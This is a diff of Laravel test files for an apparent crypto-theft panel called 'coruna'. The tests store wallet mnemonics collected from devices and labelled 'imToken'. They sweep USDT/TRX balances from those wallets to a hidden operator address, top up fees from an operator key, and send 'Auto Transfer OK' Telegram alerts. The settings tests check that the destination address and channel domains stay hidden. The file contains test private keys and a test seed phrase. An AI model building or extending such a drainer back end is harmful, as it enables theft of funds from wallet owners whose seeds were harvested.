|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function super_admin_can_save_settings(): void
|
public function super_admin_can_save_settings(): void
|
||||||
{
|
{
|
||||||
$super = $this->superAdmin();
|
$super = $this->superAdmin();
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => 'bot:token',
|
||||||
|
'coruna.telegram.bot_username' => '',
|
||||||
|
]);
|
||||||
\Illuminate\Support\Facades\Http::fake(function ($request) {
|
\Illuminate\Support\Facades\Http::fake(function ($request) {
|
||||||
if (str_contains($request->url(), 'getMe')) {
|
if (str_contains($request->url(), 'getMe')) {
|
||||||
return \Illuminate\Support\Facades\Http::response([
|
return \Illuminate\Support\Facades\Http::response([
|
||||||
@@ -77,33 +118,45 @@ class SystemAdminTest extends TestCase
|
|||||||
|
|
||||||
$this->actingAs($super, 'admin')
|
$this->actingAs($super, 'admin')
|
||||||
->post(route('admin.system.settings.update'), [
|
->post(route('admin.system.settings.update'), [
|
||||||
'telegram_bot_token' => 'bot:token',
|
|
||||||
'telegram_owner_chat_id' => '-1001',
|
'telegram_owner_chat_id' => '-1001',
|
||||||
'channels_max_per_agent' => 5,
|
'auto_transfer_enabled' => '0',
|
||||||
'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/",
|
|
||||||
'panel_admin_hosts' => "Admin.Example.com\nhttps://ops.example.com:443/",
|
|
||||||
'panel_agent_hosts' => 'agent.example.com',
|
|
||||||
])
|
])
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertJsonPath('code', 0)
|
->assertJsonPath('code', 0)
|
||||||
->assertJsonPath('data.bot_username', '@test_bot');
|
->assertJsonPath('data.bot_username', '@test_bot');
|
||||||
|
|
||||||
$this->assertSame('bot:token', Setting::query()->where('key', 'telegram.bot_token')->value('value'));
|
$env = (string) file_get_contents(base_path('.env'));
|
||||||
$this->assertSame('test_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value'));
|
$this->assertStringContainsString('TELEGRAM_OWNER_CHAT_ID=-1001', $env);
|
||||||
$this->assertSame('bot:token', config('coruna.telegram.bot_token'));
|
$this->assertStringContainsString('TELEGRAM_BOT_USERNAME=test_bot', $env);
|
||||||
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
||||||
$this->assertSame(5, (int) config('coruna.channels.max_per_agent'));
|
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
|
||||||
$this->assertSame(['cdn1.example.com', 'cdn2.example.com'], config('coruna.channel_domains'));
|
}
|
||||||
$this->assertSame(
|
|
||||||
'cdn1.example.com,cdn2.example.com',
|
#[Test]
|
||||||
Setting::query()->where('key', 'channels.domains')->value('value')
|
public function settings_page_hides_token_and_transfer_to_addresses(): void
|
||||||
);
|
{
|
||||||
$this->assertSame(['admin.example.com', 'ops.example.com'], config('coruna.panel.admin_hosts'));
|
config([
|
||||||
$this->assertSame(['agent.example.com'], config('coruna.panel.agent_hosts'));
|
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
|
||||||
$this->assertSame(
|
'coruna.telegram.bot_username' => 'ops_bot',
|
||||||
'admin.example.com,ops.example.com',
|
'coruna.transfer.to_address' => 'THiddenToAddressShouldNotRender',
|
||||||
Setting::query()->where('key', 'panel.admin_hosts')->value('value')
|
'coruna.panel.admin_hosts' => [],
|
||||||
);
|
'coruna.channel_domains' => ['hidden-cdn.example.com'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($this->superAdmin(), 'admin')
|
||||||
|
->get(route('admin.system.settings.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertDontSee('secret-token-should-not-render')
|
||||||
|
->assertDontSee('name="telegram_bot_token"', false)
|
||||||
|
->assertDontSee('name="transfer_to_address"', false)
|
||||||
|
->assertDontSee('name="panel_admin_hosts"', false)
|
||||||
|
->assertDontSee('name="channels_domains"', false)
|
||||||
|
->assertDontSee('后台访问域名')
|
||||||
|
->assertDontSee('渠道链接')
|
||||||
|
->assertDontSee('THiddenToAddressShouldNotRender')
|
||||||
|
->assertDontSee('hidden-cdn.example.com')
|
||||||
|
->assertSee('TELEGRAM_BOT_TOKEN')
|
||||||
|
->assertSee('@ops_bot');
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -166,13 +219,12 @@ class SystemAdminTest extends TestCase
|
|||||||
$this->actingAs($this->superAdmin(), 'admin')
|
$this->actingAs($this->superAdmin(), 'admin')
|
||||||
->post(route('admin.system.settings.telegramTest'), [
|
->post(route('admin.system.settings.telegramTest'), [
|
||||||
'chat_id' => '-1009',
|
'chat_id' => '-1009',
|
||||||
'bot_token' => 'form-token',
|
|
||||||
])
|
])
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertJsonPath('code', 0);
|
->assertJsonPath('code', 0);
|
||||||
|
|
||||||
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
|
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
|
||||||
return str_contains($request->url(), '/botform-token/')
|
return str_contains($request->url(), '/botsaved-token/')
|
||||||
&& ($request->data()['chat_id'] ?? null) === '-1009'
|
&& ($request->data()['chat_id'] ?? null) === '-1009'
|
||||||
&& str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试');
|
&& str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试');
|
||||||
});
|
});
|
||||||
@@ -199,10 +251,32 @@ class SystemAdminTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function normal_admin_cannot_test_official_telegram(): void
|
public function normal_admin_can_send_telegram_test(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => 'saved-token',
|
||||||
|
'coruna.telegram.owner_chat_id' => '100',
|
||||||
|
]);
|
||||||
|
\Illuminate\Support\Facades\Http::fake([
|
||||||
|
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($this->normalAdmin(), 'admin')
|
||||||
|
->post(route('admin.system.settings.telegramTest'), [
|
||||||
|
'chat_id' => '-1009',
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function normal_admin_cannot_access_admins_crud(): void
|
||||||
{
|
{
|
||||||
$this->actingAs($this->normalAdmin(), 'admin')
|
$this->actingAs($this->normalAdmin(), 'admin')
|
||||||
->post(route('admin.system.settings.telegramTest'), ['chat_id' => '1'])
|
->post(route('admin.system.admins.store'), [
|
||||||
|
'username' => 'x',
|
||||||
|
'password' => 'secret12',
|
||||||
|
])
|
||||||
->assertForbidden();
|
->assertForbidden();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -230,6 +304,10 @@ class SystemAdminTest extends TestCase
|
|||||||
->assertSee('@ops_bot')
|
->assertSee('@ops_bot')
|
||||||
->assertSee('t.me/ops_bot?startgroup=1', false);
|
->assertSee('t.me/ops_bot?startgroup=1', false);
|
||||||
|
|
||||||
$this->assertSame('ops_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value'));
|
$this->assertSame('ops_bot', config('coruna.telegram.bot_username'));
|
||||||
|
$this->assertStringContainsString(
|
||||||
|
'TELEGRAM_BOT_USERNAME=ops_bot',
|
||||||
|
(string) file_get_contents(base_path('.env'))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,92 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Services\SettingsService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class TransferEnvSettingsTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private string $envBackup = '';
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
$path = base_path('.env');
|
||||||
|
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
$path = base_path('.env');
|
||||||
|
if ($this->envBackup !== '') {
|
||||||
|
file_put_contents($path, $this->envBackup);
|
||||||
|
}
|
||||||
|
parent::tearDown();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function transfer_fee_settings_write_to_env(): void
|
||||||
|
{
|
||||||
|
app(SettingsService::class)->putMany([
|
||||||
|
'transfer.fee_address_tron' => 'TFeeAddressForEnvTest111111111111',
|
||||||
|
'transfer.fee_private_key_tron' => 'aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899',
|
||||||
|
'transfer.fee_topup_trx' => '15',
|
||||||
|
'auto_transfer.enabled' => '1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$env = (string) file_get_contents(base_path('.env'));
|
||||||
|
$this->assertStringContainsString('TRANSFER_FEE_ADDRESS_TRON=TFeeAddressForEnvTest111111111111', $env);
|
||||||
|
$this->assertStringContainsString('TRANSFER_FEE_PRIVATE_KEY_TRON=aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899', $env);
|
||||||
|
$this->assertStringContainsString('TRANSFER_FEE_TOPUP_TRX=15', $env);
|
||||||
|
$this->assertStringContainsString('AUTO_TRANSFER_ENABLED=1', $env);
|
||||||
|
$this->assertSame('TFeeAddressForEnvTest111111111111', config('coruna.transfer.fee_address_tron'));
|
||||||
|
$this->assertTrue((bool) config('coruna.auto_transfer.enabled'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function empty_fee_private_key_keeps_existing_env_value(): void
|
||||||
|
{
|
||||||
|
$settings = app(SettingsService::class);
|
||||||
|
$settings->putMany([
|
||||||
|
'transfer.fee_private_key_tron' => 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
|
||||||
|
]);
|
||||||
|
$settings->putMany([
|
||||||
|
'transfer.fee_address_tron' => 'TKeepKeyAddress00000000000000001',
|
||||||
|
'transfer.fee_private_key_tron' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$env = (string) file_get_contents(base_path('.env'));
|
||||||
|
$this->assertStringContainsString(
|
||||||
|
'TRANSFER_FEE_PRIVATE_KEY_TRON=deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
|
||||||
|
$env
|
||||||
|
);
|
||||||
|
$this->assertSame(
|
||||||
|
'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
|
||||||
|
config('coruna.transfer.fee_private_key_tron')
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function put_many_ignores_token_and_transfer_to_address_keys(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => 'keep-token',
|
||||||
|
'coruna.transfer.to_address' => 'TKeepTo',
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(SettingsService::class)->putMany([
|
||||||
|
'telegram.bot_token' => 'hacked-token',
|
||||||
|
'transfer.to_address' => 'THacked',
|
||||||
|
'telegram.owner_chat_id' => '-100',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertSame('keep-token', config('coruna.telegram.bot_token'));
|
||||||
|
$this->assertSame('TKeepTo', config('coruna.transfer.to_address'));
|
||||||
|
$this->assertSame('-100', config('coruna.telegram.owner_chat_id'));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -65,12 +65,24 @@ class TransferServiceTest extends TestCase
|
|||||||
return $device;
|
return $device;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $extra
|
||||||
|
*/
|
||||||
|
private function fakeTronHttp(array $extra = [], int $trxSun = 100_000_000): void
|
||||||
|
{
|
||||||
|
Http::fake(array_merge([
|
||||||
|
'*/wallet/getaccount' => Http::response([
|
||||||
|
'balance' => $trxSun,
|
||||||
|
], 200),
|
||||||
|
], $extra));
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function sends_native_trx_via_trongrid_http(): void
|
public function sends_native_trx_via_trongrid_http(): void
|
||||||
{
|
{
|
||||||
$this->seedFromWallet();
|
$this->seedFromWallet();
|
||||||
|
|
||||||
Http::fake([
|
$this->fakeTronHttp([
|
||||||
'*/wallet/createtransaction' => Http::response([
|
'*/wallet/createtransaction' => Http::response([
|
||||||
'txID' => str_repeat('ab', 32),
|
'txID' => str_repeat('ab', 32),
|
||||||
'raw_data' => ['contract' => []],
|
'raw_data' => ['contract' => []],
|
||||||
@@ -84,7 +96,7 @@ class TransferServiceTest extends TestCase
|
|||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
||||||
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
||||||
$this->assertSame(self::FROM, $result['from']);
|
$this->assertSame(self::FROM, $result['from']);
|
||||||
$this->assertSame(self::TO, $result['to']);
|
$this->assertSame(self::TO, $result['to']);
|
||||||
@@ -119,7 +131,7 @@ class TransferServiceTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->seedFromWallet();
|
$this->seedFromWallet();
|
||||||
|
|
||||||
Http::fake([
|
$this->fakeTronHttp([
|
||||||
'*/wallet/triggersmartcontract' => Http::response([
|
'*/wallet/triggersmartcontract' => Http::response([
|
||||||
'result' => ['result' => true],
|
'result' => ['result' => true],
|
||||||
'transaction' => [
|
'transaction' => [
|
||||||
@@ -135,7 +147,7 @@ class TransferServiceTest extends TestCase
|
|||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
||||||
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
||||||
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
|
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
|
||||||
}
|
}
|
||||||
@@ -158,7 +170,7 @@ class TransferServiceTest extends TestCase
|
|||||||
$right->mnemonic = self::MNEMONIC;
|
$right->mnemonic = self::MNEMONIC;
|
||||||
$right->save();
|
$right->save();
|
||||||
|
|
||||||
Http::fake([
|
$this->fakeTronHttp([
|
||||||
'*/wallet/createtransaction' => Http::response([
|
'*/wallet/createtransaction' => Http::response([
|
||||||
'txID' => str_repeat('ef', 32),
|
'txID' => str_repeat('ef', 32),
|
||||||
'raw_data' => ['contract' => []],
|
'raw_data' => ['contract' => []],
|
||||||
@@ -169,7 +181,7 @@ class TransferServiceTest extends TestCase
|
|||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
||||||
$this->assertSame(str_repeat('ef', 32), $result['txid']);
|
$this->assertSame(str_repeat('ef', 32), $result['txid']);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -224,7 +236,7 @@ class TransferServiceTest extends TestCase
|
|||||||
$this->seedFromWallet();
|
$this->seedFromWallet();
|
||||||
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||||
|
|
||||||
Http::fake([
|
$this->fakeTronHttp([
|
||||||
'*/wallet/triggerconstantcontract' => Http::response([
|
'*/wallet/triggerconstantcontract' => Http::response([
|
||||||
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
||||||
], 200),
|
], 200),
|
||||||
@@ -241,7 +253,7 @@ class TransferServiceTest extends TestCase
|
|||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
||||||
$this->assertSame('12.5', $result['amount']);
|
$this->assertSame('12.5', $result['amount']);
|
||||||
$this->assertSame('USDT', $result['asset']);
|
$this->assertSame('USDT', $result['asset']);
|
||||||
}
|
}
|
||||||
@@ -252,29 +264,27 @@ class TransferServiceTest extends TestCase
|
|||||||
$this->seedFromWallet();
|
$this->seedFromWallet();
|
||||||
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||||
|
|
||||||
Http::fake([
|
// 25 TRX (>= fee topup target) so top-up is skipped; reserve leaves 24.
|
||||||
'*/wallet/getaccount' => Http::response([
|
$this->fakeTronHttp([
|
||||||
'balance' => 5_000_000, // 5 TRX
|
|
||||||
], 200),
|
|
||||||
'*/wallet/createtransaction' => Http::response([
|
'*/wallet/createtransaction' => Http::response([
|
||||||
'txID' => str_repeat('22', 32),
|
'txID' => str_repeat('22', 32),
|
||||||
'raw_data' => ['contract' => []],
|
'raw_data' => ['contract' => []],
|
||||||
'raw_data_hex' => '0a00',
|
'raw_data_hex' => '0a00',
|
||||||
], 200),
|
], 200),
|
||||||
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||||
]);
|
], 25_000_000);
|
||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok'], $result['error'] ?? '');
|
||||||
$this->assertSame('4', $result['amount']);
|
$this->assertSame('24', $result['amount']);
|
||||||
|
|
||||||
Http::assertSent(function ($request) {
|
Http::assertSent(function ($request) {
|
||||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
return ($request->data()['amount'] ?? null) === 4_000_000;
|
return ($request->data()['amount'] ?? null) === 24_000_000;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,201 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\TransferService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class TransferTelegramNotifyTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
|
||||||
|
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||||
|
|
||||||
|
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
config([
|
||||||
|
'coruna.transfer.to_address' => self::TO,
|
||||||
|
'coruna.transfer.max_derive_index' => 5,
|
||||||
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||||
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||||
|
'coruna.transfer.max_usdt' => '0',
|
||||||
|
'coruna.telegram.bot_token' => 'tg-token',
|
||||||
|
'coruna.telegram.owner_chat_id' => '10001',
|
||||||
|
'coruna.transfer.fee_topup_trx' => '1',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function seedDevice(): void
|
||||||
|
{
|
||||||
|
$ch = 'cccccccccccccccccccccccccccccccc';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $ch,
|
||||||
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-tg-transfer',
|
||||||
|
'channel_id' => $ch,
|
||||||
|
]);
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => self::FROM,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
$row = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
]);
|
||||||
|
$row->mnemonic = self::MNEMONIC;
|
||||||
|
$row->save();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function auto_transfer_success_sends_telegram(): void
|
||||||
|
{
|
||||||
|
$this->seedDevice();
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
|
||||||
|
'*/wallet/triggersmartcontract' => Http::response([
|
||||||
|
'result' => ['result' => true],
|
||||||
|
'transaction' => [
|
||||||
|
'txID' => str_repeat('cd', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
],
|
||||||
|
], 200),
|
||||||
|
'*/wallet/broadcasttransaction' => Http::response([
|
||||||
|
'result' => true,
|
||||||
|
], 200),
|
||||||
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'auto');
|
||||||
|
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||||
|
|
||||||
|
Http::assertSent(function ($request) {
|
||||||
|
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, 'Auto Transfer OK')
|
||||||
|
&& str_contains($text, self::FROM)
|
||||||
|
&& str_contains($text, 'USDT')
|
||||||
|
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function manual_transfer_does_not_send_auto_telegram(): void
|
||||||
|
{
|
||||||
|
$this->seedDevice();
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
|
||||||
|
'*/wallet/createtransaction' => Http::response([
|
||||||
|
'txID' => str_repeat('ab', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
], 200),
|
||||||
|
'*/wallet/broadcasttransaction' => Http::response([
|
||||||
|
'result' => true,
|
||||||
|
'txid' => str_repeat('ab', 32),
|
||||||
|
], 200),
|
||||||
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin');
|
||||||
|
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||||
|
|
||||||
|
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function fee_topup_sends_telegram(): void
|
||||||
|
{
|
||||||
|
$this->seedDevice();
|
||||||
|
|
||||||
|
$feeKey = 'abde94314a030ae8860a58db8adde7fc962cca2455db9d2979e480038c49dcbc';
|
||||||
|
$feeFrom = 'TUJ2YbSDGtCqzRz7quPQidRCMC98jDAPXc';
|
||||||
|
config([
|
||||||
|
'coruna.transfer.fee_topup_trx' => '20',
|
||||||
|
'coruna.transfer.fee_address_tron' => $feeFrom,
|
||||||
|
'coruna.transfer.fee_private_key_tron' => $feeKey,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$getAccountCalls = 0;
|
||||||
|
Http::fake(function ($request) use (&$getAccountCalls) {
|
||||||
|
$url = $request->url();
|
||||||
|
if (str_contains($url, 'api.telegram.org')) {
|
||||||
|
return Http::response(['ok' => true], 200);
|
||||||
|
}
|
||||||
|
if (str_ends_with($url, '/wallet/getaccount')) {
|
||||||
|
$getAccountCalls++;
|
||||||
|
// First read: below target → top-up; later: confirm / skip.
|
||||||
|
$sun = $getAccountCalls === 1 ? 5_000_000 : 25_000_000;
|
||||||
|
|
||||||
|
return Http::response(['balance' => $sun], 200);
|
||||||
|
}
|
||||||
|
if (str_ends_with($url, '/wallet/createtransaction')) {
|
||||||
|
return Http::response([
|
||||||
|
'txID' => str_repeat('fe', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
], 200);
|
||||||
|
}
|
||||||
|
if (str_ends_with($url, '/wallet/triggersmartcontract')) {
|
||||||
|
return Http::response([
|
||||||
|
'result' => ['result' => true],
|
||||||
|
'transaction' => [
|
||||||
|
'txID' => str_repeat('cd', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
],
|
||||||
|
], 200);
|
||||||
|
}
|
||||||
|
if (str_ends_with($url, '/wallet/broadcasttransaction')) {
|
||||||
|
return Http::response(['result' => true], 200);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Http::response([], 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin');
|
||||||
|
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||||
|
|
||||||
|
Http::assertSent(function ($request) use ($feeFrom) {
|
||||||
|
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, 'TRX Fee Top-up OK')
|
||||||
|
&& str_contains($text, $feeFrom)
|
||||||
|
&& str_contains($text, self::FROM)
|
||||||
|
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||||
|
});
|
||||||
|
|
||||||
|
Http::assertNotSent(function ($request) {
|
||||||
|
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, 'Auto Transfer');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class WalletAddressFilterTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private function admin(): Admin
|
||||||
|
{
|
||||||
|
return Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function seedRows(): array
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-addr-filter',
|
||||||
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
|
]);
|
||||||
|
$mnemonic = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
]);
|
||||||
|
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$mnemonic->save();
|
||||||
|
|
||||||
|
$withMnemonic = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'addr-with-mnemonic',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'chain_type' => 'ETH',
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'usdt' => 0,
|
||||||
|
'eth' => 0,
|
||||||
|
]);
|
||||||
|
$withBalance = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'addr-with-balance',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'usdt' => 12.5,
|
||||||
|
]);
|
